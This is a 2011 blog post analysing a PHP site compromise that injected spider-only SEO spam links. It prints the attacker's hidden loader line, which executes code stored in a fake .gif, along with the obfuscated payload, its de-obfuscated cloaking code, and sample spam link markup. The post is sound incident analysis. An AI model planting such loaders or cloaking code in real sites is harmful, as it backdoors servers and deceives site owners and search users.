Intricate compromise of php-based web application

As I blogged about here, some of my clients' sites were recently altered, due to a compromise at their hosting company.

Clients' sites were altered in three ways:

  1. Invisible iframe added to php and html files
  2. .htaccess file altered to redirect to spammers site
  3. Links added to site code to generate pagerank for spammers sites

The first two were pretty straightforward and rudimentary, but the third was quite sophisticated.

What it did

The hack altered every the output of every page so that links were added which pointed to spammers' sites. These links were only shown to search engine spiders, so if you looked at the site with a browser everything looked fine. The point of this is to drive up the spammers' site's pagerank by making it appear that the client's site was linking to the spammers' sites. Only showing the links to spiders served to hide the fact that the site was compromised.

As a side effect, when the client's site showed up in search engine result pages, in place of the usual description were snippets of the spammy links.

This is a snippet of the code added to the page:

<ol style="font-weight:bold; color:navy; font-size:16px; overflow:hidden;height:1px; width:51px; font-family:Courier New;">If this sounds like you, then YES it is from a number of cards you want by giving the best policy <a href="http://ru.msi.com/html/active/2005/iloveMSI/vote.php?v=342">buy windows 7 from usa</a> The best part?
Recently a young child using the services they have <a href="http://ru.msi.com/html/active/2005/iloveMSI/vote.php?v=574">cheap rosetta stone korean</a> available to counter data theft Protection from a .4GHz T7700 to a stratumserver.
The drive is accessed, regardless of <a href="http://ru.msi.com/html/active/2005/iloveMSI/vote.php?v=700">acronis true image discount</a> their day by day.
License Manual” and “Road Rules USCanada Driving Test” at site USB for universal connect, the DAT60 drive <a href="http://ru.msi.com/html/active/2005/iloveMSI/vote.php?v=825">cost of microsoft word 2007</a> before purchasing the software from.
It is a set <a href="http://ru.msi.com/html/active/2005/iloveMSI/vote.php?v=249">can you buy windows xp anymore</a> point in time.
Note: <a href="http://ru.msi.com/html/active/2005/iloveMSI/vote.php?v=960">microsoft outlook 2003 price</a> While you are using.
This is a matter of fact <a href="http://ru.msi.com/html/active/2005/iloveMSI/vote.php?v=886">student discount visual studio</a> is these particular laptops is that the microSD system, according to the router.
That's one simple decision to be at the Iphone downloads that you are willing to do by registry files <a href="http://ru.msi.com/html/active/2005/iloveMSI/vote.php?v=463">download 3ds max design 2010</a> and folders which are denied.
...

There were around 300 lines like this added to each page.

How it did it

The attack seems to be a variant ofa hack targeting WordPress, but remember that this site was not actually running WordPress, but rather a custom CMS.

At the bottom of the application's bootstrap file, this innocent-looking line had been added:

<?php $wp__theme_icon=@create_function('',@file_get_contents('/path/to/web/root/images/www.gif'));$wp__theme_icon(); ?>

If you're running WordPress, you're probably not going to freak out if you see that. What it does it load the contents of the file www.gif (also innocent-sounding) and executes it.

www.gif

This file was not a gif image of course, and had the following contents:

$cBkl7="3YlJXYlR2X1Zmb0NWau9";$AkNOiYBj='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';$gP3Nb5cg="\142\71\x32\x66\x66\145\146\x33\143\x38\145\x63\x64\64\63\x32\x36\65\66\x63\x38\x61\x32\x65\x38\141\66\60\x62\62\144\x64";$X3rSGI='';$aUy4XTaO="\57\x28\x2e\51\50\56\x29";$US4Df="\x70\x72\x65\147\x5f\162\x65\x70\x6c\x61\143\145";$D3fCO55="\142\141\163\x65\x36\x34\x5f\x64\145\x63\x6f\144\145";$K7LwB="$2$1";$a37s9ZDP="\145\64\145\61\x30\60\144\x62\x37\60\60\x39\x62\67\x38\63\x31\70\143\70\143\x37\x64\141\64\66\x36\x63\x63\x64\145\145";$Mpw5qX=$D3fCO55($US4Df($aUy4XTaO.'/',$K7LwB,$cBkl7));$Mpw5qX=$Mpw5qX($US4Df("$aUy4XTaO/",'$2$1',"\x61\x24\x24\x2c\x62"),$US4Df($aUy4XTaO.'/',$K7LwB,$D3fCO55($US4Df("$aUy4XTaO/","$2$1",'icnQTPnsyYzRXP0JWZowmbkEyOvliZyhSawQSP7QGP0l2cyxmbkUCKilzKksyKplHJusmc9MmcvhGKyRCJ7hmYkkXKv1mXyRCJ7hWYkkSJkAHIj1SK9l2OyVXduRicgQ3O=I'))));$b3g8rbV=$Mpw5qX($US4Df("\57\x28\x2e\51\50\56\x29/",'$2$1',$gP3Nb5cg),$D3fCO55("\x58\167\163\x4b\x56\x7a\x6f\x42\x56\150\112\156\x41\101\167\x4c\121\x41\106\143\x52\60\131\75"));$yWvE=$Mpw5qX($US4Df("\57\x28\x2e\51\50\56\x29/",'$2$1',$a37s9ZDP),$D3fCO55($US4Df($aUy4XTaO.'/',$K7LwB,'xUE91CfNxDCRkUDp')));$schtjq=$D3fCO55($US4Df("\57\x28\x2e\51\50\56\x29".'/',$K7LwB,$cBkl7));$AkNOiYBj=$US4Df("\57\x28\x2e\51\50\56\x29/",'$2$1',$Mpw5qX($US4Df("\57\x28\x2e\51\50\56\x29/",'$2$1',$gP3Nb5cg),$D3fCO55($AkNOiYBj)));$schtjq=$schtjq($X3rSGI,$US4Df("{$aUy4XTaO}".'/','$2$1',$yWvE($AkNOiYBj)));return $schtjq();

Hum. OK, thoroughly obfuscated php code. A quick search for a de-obfuscation tool turns up Stefan Esser's excellent tool 'evalhook'.

Running the code through evalhook gives us the somewhat de-obfuscated code:

function __lambda_func(){
// $Rev: 1077 $
if(!function_exists('__php___memory_exists')){
function __php___memory_exists(){
    $masks = array(
      array(-655417344,-655409153),array(1089052672,1089060863),
      array(1123631104,1123639295),array(1208926208,1208942591),
      array(-782925824,-782893057),array(-1379794944,-1379729409),
      array(1249705984,1249771519),array(-655417344,-655409153),
      array(1078218752,1078220799),array(1113980928,1113985023),
      array(1089052672,1089060863),array(1123631104,1123639295),
      array(1208926208,1208942591),array(-782925824,-782893057),
      array(-965974848,-965974833),array(-1379794944,-1379729409),
      array(-668867184,-668867177),array(-668867168,-668867161),
      array(-776377216,-776377089),array(-663925936,-663925921),
      array(1078220800,1078222847),array(1078214720,1078214783),
      array(1076485568,1076485583),array(1249705984,1249771519),
      array(134744064,134744319),array(134743040,134743295),
      array(67305984,67306239),array(-772300912,-772300897),
      array(1070843976,1070843983),array(-772425592,-772425585),
      array(-1504013248,-1504013233),array(134623232,134625279),
      array(1083880144,1083880159),array(1180247960,1180247967),
      array(1180359496,1180359503),array(1180359472,1180359479),
      array(1081896984,1081896991),array(-772191936,-772191929),
      array(1081927080,1081927087),array(1104609120,1104609135),
      array(1104396896,1104396911),array(1105135664,1105135679),
      array(1105036720,1105036735),array(1062518496,1062518527),
      array(1082183584,1082183599),array(1103424288,1103424303),
      array(1119913504,1119913519),array(1104572512,1104572543),
      array(1180247960,1180247967),array(1180359496,1180359503),
      array(1180359472,1180359479),array(1173102912,1173102919),
      array(1290950648,1290950655),array(1208934400,1208936447),
      array(1132356616,1132356623),array(-869104592,-869104577),
      array(1128602128,1128602135),array(-655652792,-655652785),
      array(-826636096,-826636033),array(1667240832,1667240863),
      array(1172313552,1172313559),array(1172315992,1172315999),
      array(1172316008,1172316015),array(1172588248,1172588255),
      array(1172588256,1172588263),array(1172588264,1172588271),
      array(1172588280,1172588287),array(1172589672,1172589679),
      array(1173190880,1173190887),array(1199710944,1199710951),
      array(1199710952,1199710959),array(1199710960,1199710967),
      array(1199728392,1199728399),array(1199728400,1199728407),
      array(1199728408,1199728415),array(1199728416,1199728423),
      array(1199728424,1199728431),array(1259417800,1259417807),
      array(1259813304,1259813311),array(1260780984,1260780991),
      array(1261762592,1261762599),array(1261735552,1261735559),
      array(1261761744,1261761751),array(1261762104,1261762111),
      array(1261762112,1261762119),array(1261762120,1261762127),
      array(1261762128,1261762135),array(1288200544,1288200551),
      array(1289513400,1289513407),array(1291247208,1291247215),
      array(1671628112,1671628119),array(1670420000,1670420007),
      array(1670647064,1670647071),array(1190127072,1190127103),
      array(1663596768,1663596799),array(1164938648,1164938655),
      array(1164938656,1164938663), //g
      array(1093926912,1094189055), //m
      array(1136852992,1136918527), //y
    ); $is_bot = false;
    $your_mask=ip2long($_SERVER["REMOTE_ADDR"]);
    $stop_agents_masks = array("http", "google", "slurp", "msnbot", "bot", 
       "crawler", "spider", "robot", "HttpClient", "curl", "PHP", "Indy Library", "WordPress");  
    $_SERVER["HTTP_USER_AGENT"] = preg_replace("|User.Agent\:[\s ]?|i", "", @$_SERVER["HTTP_USER_AGENT"]);
    foreach ($masks as $mask)
      if($your_mask>=$mask[0] and $your_mask<=$mask[1])
        $is_bot = true;
    if($_SERVER["HTTP_A"]=="b")
      foreach ($stop_agents_masks as $stop_agents_mask)
        if(@eregi($stop_agents_mask, @$_SERVER["HTTP_USER_AGENT"]) !== false)
          $is_bot = true;
    return $is_bot;
  }

  function __php___memory_test() {
    if (!__php___memory_exists())
      return -1;
    $php__test_file = '/path/to/web/root/www.jpg';
    $data = @file_get_contents($php__test_file); // PHP >= 4.3.0
    $data = @gzuncompress($data);
    $startPos = 0;
    $blocks = Array();
    $label = '';
    while (false !== ($pos = strpos($data, '<block_d6e4ce93cf082de43cd713fd8e62103b id="', $startPos))) {
      if ($startPos) {
        $blocks[] = substr($data, $startPos, $pos - $startPos);
      }
      $startPos = $pos + strlen('<block_d6e4ce93cf082de43cd713fd8e62103b id="1234567890">');
      //$label = substr($data, $pos + strlen('<block_d6e4ce93cf082de43cd713fd8e62103b id="'), 10);
    }
    if ($startPos) {
      $blocks[] = substr($data, $startPos);
    }
    
    foreach ($blocks as $b) {
      echo __php_memory_diagnostics($b);
    }
  }
  
  function __php_memory_diagnostics($data) {
    $marker = '==d6e4ce93cf082de43cd713fd8e62103b=';
    $len1 = strlen($marker);
    $len2 = $len1 + 1;
    $pos1 = strpos($data, $marker);
    $pos2 = $pos1 + $len1;
    if (false === $pos1 || false === $pos2)
      return -1;
    $pos3 = strpos($data, '==', $pos2);
    if (false === $pos3)
      return -1;
    $num_lines = substr($data, $pos2, $pos3 - $pos2);
    //echo "VARS: [$pos1] [$pos2] [$pos3] [$num_lines]\n";
    $pos4 = strpos($data, $marker . '=', $pos3 + 2);
    if (false === $pos4)
      return -1;
    $hdr = substr($data, 0, $pos1);
    $ftr = substr($data, $pos4 + $len2);
    $data = explode("\n", trim(substr($data, $pos2, $pos4 - $pos2)));
    $data = __php___shuffle_by_seed($data);
    $data = array_slice($data, 0, $num_lines);
    return $hdr . implode("\n", $data) . $ftr;
  }
  
  function __php___make_seed($str, $count_r=3) {
    $seed = "";
    $tseed = 0;
    for($i = 0; $i < strlen($str); ++$i)
      $seed .= ord($str[$i]);
    for($i = 0; $i < strlen($seed); ++$i)
      $tseed += $seed[$i];
    return $tseed;
  }
  
  function __php___shuffle_by_seed($ar, $srand_seed=null){
    if($srand_seed == null)
      $srand_seed = __php___make_seed($_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"] . 
md5($_SERVER["REQUEST_URI"]));
    $ar_tmp = array();
    $i=0;
    while($i < count($ar)) {
      srand($srand_seed);
      $r = rand(1,count($ar));
      if (isset($ar_tmp[$r-1]))
        ++$srand_seed;
      else {
        $ar_tmp[$r-1] = $ar[$i];
        ++$i;
      }
    }
    ksort($ar_tmp);
    return $ar_tmp;
  } 
  __php___memory_test();  
}
}


__lambda_func();

The short pseudo-code version would be:

if (is_in_list_of_spider_ip_addresses(remote_ip) || 
    is_in_list_of_spider_user_agents(remote_user_agent) {
    payload = load_payload_file_contents();
    payload = decompress_payload(payload);
    payload_shuffled = shuffle(payload);

    print payload_shuffled;
}

Somewhat bafflingly, the list of IP addresses that the code treats as being spiders includes large ranges of addresses assigned to clients on Comcast, AT&T, and other ISPs.

It's also curious that the attacker has chosen to write his own array shuffling code instead of using the native php shuffle() function. And to go a bit further, he re-seeds the RNG in every shuffle step. Gotta make sure those spam links are in a really random order!

I am in little doubt that the code author is a native English-speaker due to the choice of function names, though I can't quite see why they have been given innocent-sounding names when the code itself was obfuscated.

The code gives the attacker the ability to upload new payloads without having to alter the attack code. The modification date of the payload was later than the attack code, so it seems probable that the attacker has updated the payload at least once.

 

  • January 23, 2011
comments powered by Disqus
Back to Top